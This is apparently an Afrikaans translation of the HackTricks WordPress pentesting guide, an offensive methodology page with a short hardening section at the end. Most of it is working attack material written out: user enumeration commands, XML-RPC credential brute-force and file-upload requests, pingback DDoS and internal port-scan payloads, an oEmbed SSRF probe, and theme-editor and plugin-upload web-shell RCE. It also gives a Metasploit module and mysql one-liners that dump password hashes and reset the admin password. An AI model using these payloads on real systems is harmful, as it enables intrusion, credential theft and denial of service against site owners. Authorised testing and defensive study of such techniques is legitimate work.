hacktricks/network-services-pentesting/pentesting-web/wordpress.md
2024-02-11 02:07:06 +00:00

20 KiB
Raw Blame History

Wordpress

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:


Gebruik Trickest om maklik werkstrome te bou en outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry vandag toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Basiese Inligting

Opgelaai lêers gaan na: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Temalêers kan gevind word in /wp-content/themes/, so as jy 'n bietjie php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur die twentytwelve-tema te gebruik, kan jy die 404.php-lêer toegang in: /wp-content/themes/twentytwelve/404.php
'n Ander nuttige URL kan wees: /wp-content/themes/default/404.php

In wp-config.php kan jy die hoofwagwoord van die databasis vind.

Verwagte aanmeldingspaaie om te kontroleer: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Hoof WordPress-lêers

  • index.php
  • license.txt bevat nuttige inligting soos die geïnstalleerde weergawe van WordPress.
  • wp-activate.php word gebruik vir die e-posaktiveringsproses wanneer 'n nuwe WordPress-webwerf opgestel word.
  • Aanmeldingsgids (kan hernoem word om dit te verberg):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php is 'n lêer wat 'n kenmerk van WordPress verteenwoordig wat data met HTTP as die vervoermeganisme en XML as die enkoderingsmeganisme moontlik maak. Hierdie tipe kommunikasie is vervang deur die WordPress REST API.
  • Die wp-content-gids is die hoofgids waar plugins en temas gestoor word.
  • wp-content/uploads/ is die gids waar enige lêers wat na die platform opgelaai word, gestoor word.
  • wp-includes/ Dit is die gids waar kernlêers gestoor word, soos sertifikate, lettertipes, JavaScript-lêers en widgets.
  • wp-sitemap.xml In Wordpress-weergawes 5.5 en hoër genereer Wordpress 'n sitemap-XML-lêer met alle openbare plasings en openbaar navraagbare possoorte en taksonomieë.

Post-exploitasie

  • Die wp-config.php-lêer bevat inligting wat deur WordPress vereis word om met die databasis te verbind, soos die databasisnaam, databasisgasheer, gebruikersnaam en wagwoord, outentiseringsleutels en sout, en die databasis tabelvoorvoegsel. Hierdie konfigurasie-lêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees vir foutopsporing.

Gebruikersregte

  • Administrateur
  • Redakteur: Publiseer en bestuur sy eie en ander plasings
  • Outeur: Publiseer en bestuur sy eie plasings
  • Bydraer: Skryf en bestuur sy plasings, maar kan dit nie publiseer nie
  • Intekenaar: Blaai deur plasings en wysig hul profiel

Passiewe Opname

Kry WordPress-weergawe

Kyk of jy die lêers /license.txt of /readme.html kan vind

Binne die bronkode van die bladsy (voorbeeld van https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta naam

  • CSS skakel lêers

  • JavaScript lêers

Kry Plugins

{% code overflow="wrap" %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Kry Temas

{% code overflow="wrap" %}

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Haal algemene weergawes uit

{% code overflow="wrap" %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

{% endcode %}

Gebruik Trickest om maklik en outomatiese werksvloeie te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry vandag toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aktiewe opname

Inproppe en Temas

Jy sal waarskynlik nie in staat wees om al die Inproppe en Temas te vind nie. Om almal te ontdek, sal jy 'n lys van Inproppe en Temas aktief moet Brute Force (gelukkig vir ons is daar outomatiese hulpmiddels wat hierdie lys bevat).

Gebruikers

ID Brute

Jy kry geldige gebruikers van 'n WordPress-webwerf deur gebruikers-ID's te Brute Force:

curl -s -I -X GET http://blog.example.com/?author=1

As die antwoorde 200 of 30X is, beteken dit dat die id geldig is. As die antwoord 400 is, is die id ongeldig.

wp-json

Jy kan ook probeer om inligting oor die gebruikers te kry deur navrae te doen:

curl http://blog.example.com/wp-json/wp/v2/users

'n Ander /wp-json/ eindpunt wat enkele inligting oor gebruikers kan onthul, is:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Let wel dat hierdie eindpunt slegs gebruikers blootstel wat 'n pos geplaas het. Slegs inligting oor gebruikers wat hierdie funksie geaktiveer het, sal verskaf word.

Let ook daarop dat /wp-json/wp/v2/pages IP-adresse kan uitlek.

Login gebruikersnaam enumerasie

Wanneer jy inlog by /wp-login.php, is die boodskap verskillend as die aangeduide gebruikersnaam bestaan of nie.

XML-RPC

As xml-rpc.php aktief is, kan jy 'n aanmeldingsbruteforce uitvoer of dit gebruik om DoS-aanvalle op ander bronne te lanceer. (Jy kan hierdie proses outomatiseer deur byvoorbeeld hierdie te gebruik).

Om te sien of dit aktief is, probeer om toegang te verkry tot /xmlrpc.php en stuur hierdie versoek:

Kontroleer

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Geloofsbriewe Bruteforce

wp.getUserBlogs, wp.getCategories of metaWeblog.getUsersBlogs is van die metodes wat gebruik kan word om geloofsbriewe te brute-force. As jy enigeen van hulle kan vind, kan jy iets soos die volgende stuur:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Die boodskap "Verkeerde gebruikersnaam of wagwoord" binne 'n 200-kode respons moet verskyn as die geloofsbriewe nie geldig is nie.

Met die korrekte geloofsbriewe kan jy 'n lêer oplaai. In die respons sal die pad verskyn (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Daar is ook 'n vinniger manier om geloofsbriewe te kragtig te kraak deur gebruik te maak van system.multicall, aangesien jy verskeie geloofsbriewe op dieselfde versoek kan probeer:

2FA omseil

Hierdie metode is bedoel vir programme en nie vir mense nie, en dit is oud, daarom ondersteun dit nie 2FA nie. Dus, as jy geldige geloofsbriewe het maar die hoofingang deur 2FA beskerm word, kan jy dalk xmlrpc.php misbruik om met daardie geloofsbriewe in te teken en 2FA te omseil. Let daarop dat jy nie al die aksies kan uitvoer wat jy deur die konsole kan doen nie, maar jy kan dalk steeds RCE bereik soos Ippsec dit in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s verduidelik.

DDoS of poortskandering

As jy die metode pingback.ping in die lys kan vind, kan jy die Wordpress laat 'n willekeurige versoek na enige gas/heelpunt stuur.
Dit kan gebruik word om duisende Wordpress webwerwe te vra om een plek te toegang (sodat 'n DDoS in daardie plek veroorsaak word) of jy kan dit gebruik om Wordpress te laat skandering van 'n interne netwerk (jy kan enige poort aandui).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

As jy faultCode kry met 'n waarde groter as 0 (17), beteken dit dat die poort oop is.

Neem 'n kyk na die gebruik van system.multicall in die vorige afdeling om te leer hoe om hierdie metode te misbruik vir DDoS-aanvalle.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Hierdie lêer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: /wp-cron.php
Wanneer hierdie lêer toegang word, word 'n "swaar" MySQL navraag uitgevoer, sodat dit deur aanvallers gebruik kan word om 'n DoS te veroorsaak.
Daarbenewens word die wp-cron.php standaard geroep by elke bladsybelading (telkens wanneer 'n kliënt enige Wordpress-bladsy aanvra), wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS).

Dit word aanbeveel om Wp-Cron uit te skakel en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak).

/wp-json/oembed/1.0/proxy - SSRF

Probeer om https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net te besoek en die Worpress-webwerf kan 'n versoek aan jou rig.

Dit is die reaksie wanneer dit nie werk nie:

SSRF

{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}

Hierdie instrument kyk of die methodName: pingback.ping en vir die pad /wp-json/oembed/1.0/proxy bestaan, en as dit wel bestaan, probeer dit om dit uit te buit.

Outomatiese Gereedskap

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Gebruik Trickest om maklik en outomaties werkstrome te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Vandag Toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Kry toegang deur 'n bietjie te oorskryf

Dit is meer 'n nuuskierigheid as 'n werklike aanval. In die CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man kon jy 1 bietjie omkeer in enige wordpress-lêer. Jy kon dus die posisie 5389 van die lêer /var/www/html/wp-includes/user.php omkeer om die NOT (!) operasie te NOP.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Paneel RCE

Wysiging van 'n php van die gebruikte tema (admin-inlogbesonderhede benodig)

Verskyning → Tema-redakteur → 404-sjabloon (aan die regterkant)

Verander die inhoud vir 'n php-skulp:

Soek op die internet hoe jy daardie opgedateerde bladsy kan bereik. In hierdie geval moet jy hier toegang verkry: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Jy kan gebruik maak van:

use exploit/unix/webapp/wp_admin_shell_upload

Inprop RCE

PHP inprop

Dit is moontlik om .php-lêers as 'n invoegtoepassing te laai.
Skep jou php agterdeur deur byvoorbeeld die volgende te gebruik:

Voeg dan 'n nuwe invoegtoepassing by:

Laai die invoegtoepassing op en druk op Installeer Nou:

Klik op Gaan voort:

Dit sal waarskynlik niks skynbaar doen nie, maar as jy na Media gaan, sal jy sien dat jou dop geüpload is:

Kry toegang daartoe en jy sal die URL sien om die omgekeerde dop uit te voer:

Oplaai en aktiveer skadelike invoegtoepassing

Hierdie metode behels die installering van 'n skadelike invoegtoepassing wat bekend is as kwesbaar en uitgebuit kan word om 'n webdop te verkry. Hierdie proses word uitgevoer deur die WordPress-dashboard soos volg:

  1. Invoegtoepassing verkryging: Die invoegtoepassing word verkry van 'n bron soos Exploit DB soos hier.

  2. Invoegtoepassing installering:

  • Navigeer na die WordPress-dashboard, gaan dan na Dashboard > Plugins > Upload Plugin.
  • Laai die zip-lêer van die afgelaaide invoegtoepassing op.
  1. Invoegtoepassing aktivering: Sodra die invoegtoepassing suksesvol geïnstalleer is, moet dit geaktiveer word deur die dashboard.

  2. Uitbuiting:

  • Met die invoegtoepassing "reflex-gallery" geïnstalleer en geaktiveer, kan dit uitgebuit word omdat dit bekend is as kwesbaar.
  • Die Metasploit-raamwerk bied 'n uitbuiting vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter-sessie tot stand gebring word wat ongemagtigde toegang tot die webwerf verleen.
  • Dit moet opgemerk word dat hierdie slegs een van die vele metodes is om 'n WordPress-webwerf uit te buit.

Die inhoud bevat visuele hulpmiddels wat die stappe in die WordPress-dashboard illustreer vir die installering en aktivering van die invoegtoepassing. Dit is egter belangrik om daarop te let dat die uitbuiting van kwesbaarhede op hierdie manier onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs binne 'n wettige konteks, soos penetrasietoetsing met uitdruklike toestemming.

Vir meer gedetailleerde stappe, kyk: https://www.hackingarticles.in/wordpress-reverse-shell/**

Na-uitbuiting

Onttrek gebruikersname en wagwoorde:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Verander admin wagwoord:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

WordPress Beskerming

Gereelde Opdaterings

Maak seker dat WordPress, plugins, en temas opgedateer is. Bevestig ook dat outomatiese opdatering ingeskakel is in wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Verder, installeer slegs betroubare WordPress-plugins en -temas.

Sekuriteitsplugins

Ander Aanbevelings

  • Verwyder die verstek admin-gebruiker
  • Gebruik sterk wagwoorde en 2FA
  • Hersien gereeld gebruikers se toestemmings
  • Beperk aanmeldpogings om Brute Force-aanvalle te voorkom
  • Hernoem die wp-admin.php-lêer en staan slegs interne toegang of toegang vanaf sekere IP-adresse toe.


Gebruik Trickest om maklik werkstrome te bou en outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Vandag Toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: